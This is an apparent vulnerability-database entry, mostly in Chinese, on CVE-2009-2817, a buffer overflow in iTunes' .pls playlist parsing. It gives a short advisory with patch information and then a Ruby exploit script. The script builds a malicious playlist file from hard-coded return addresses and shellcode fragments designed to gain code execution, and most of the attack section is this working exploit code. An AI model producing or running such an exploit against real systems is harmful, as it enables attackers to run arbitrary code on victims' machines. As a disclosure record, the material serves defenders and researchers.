Lucene search

K
seebugRootSSV:19225
HistoryMar 05, 2010 - 12:00 a.m.

Apple iTunes .pls文件解析缓冲区溢出漏洞

2010-03-0500:00:00
Root
www.seebug.org
22

0.028 Low

EPSS

Percentile

90.7%

BUGTRAQ ID: 36478
CVE(CAN) ID: CVE-2009-2817

iTunes是用于Mac和PC的一款免费应用程序,可播放音乐和视频内容,以及将内容同步到iPod和Apple TV。

用户受骗使用iTunes加载了畸形的.pls播放列表文件就可以触发缓冲区溢出,导致执行任意代码。

Apple iTunes < 9.0.1
厂商补丁:

Apple

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.apple.com


                                                # Exploit Title: iTunes .pls file handling buffer overflow
# Date: 2009.12.20
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: 9.0
# Tested on: OSX 10.5.8, Windows XP SP2&amp;#8232; (/GS flag, DOS)
# CVE: CVE-2009-2817

# Code:

#!/usr/bin/env ruby

SETJMP = 0x92F04224
JMP_BUF = 0x8fe31290
STRDUP = 0x92EED110
# 8fe24459 jmp *%eax
JMP_EAX = 0x8fe24459

def make_exec_payload_from_heap_stub()
frag0 =
&quot;\x90&quot; + # nop
&quot;\x58&quot; + # pop eax
&quot;\x61&quot; + # popa
&quot;\xc3&quot; # ret
frag1 =
&quot;\x90&quot; + # nop
&quot;\x58&quot; + # pop eax
&quot;\x89\xe0&quot; + # mov eax, esp
&quot;\x83\xc0\x0c&quot; + # add eax, byte +0xc
&quot;\x89\x44\x24\x08&quot; + # mov [esp+0x8], eax
&quot;\xc3&quot; # ret
exec_payload_from_heap_stub =
frag0 +
[SETJMP, JMP_BUF + 32, JMP_BUF].pack(&quot;V3&quot;) +
frag1 +
&quot;X&quot; * 20 +
[SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP,
JMP_EAX].pack(&quot;V5&quot;) +
&quot;X&quot; * 4
end

payload_cmd = &quot;hereisthetrick&quot;
stub = make_exec_payload_from_heap_stub()
ext = &quot;A&quot; * 59
stub = make_exec_payload_from_heap_stub()
exploit = ext + stub + payload_cmd

# pls file format

file = &quot;[playlist]\n&quot;
file += &quot;NumberOfEntries=1\n&quot;
file += &quot;File1=http://1/asdf.&quot; + exploit + &quot;\n&quot;
file += &quot;Title1=asdf\n&quot;
file += &quot;Length1=100\n&quot;
file += &quot;Version=2&quot; + '\n'

File.open('poc.pls','w') do |f|
f.puts file
f.close
end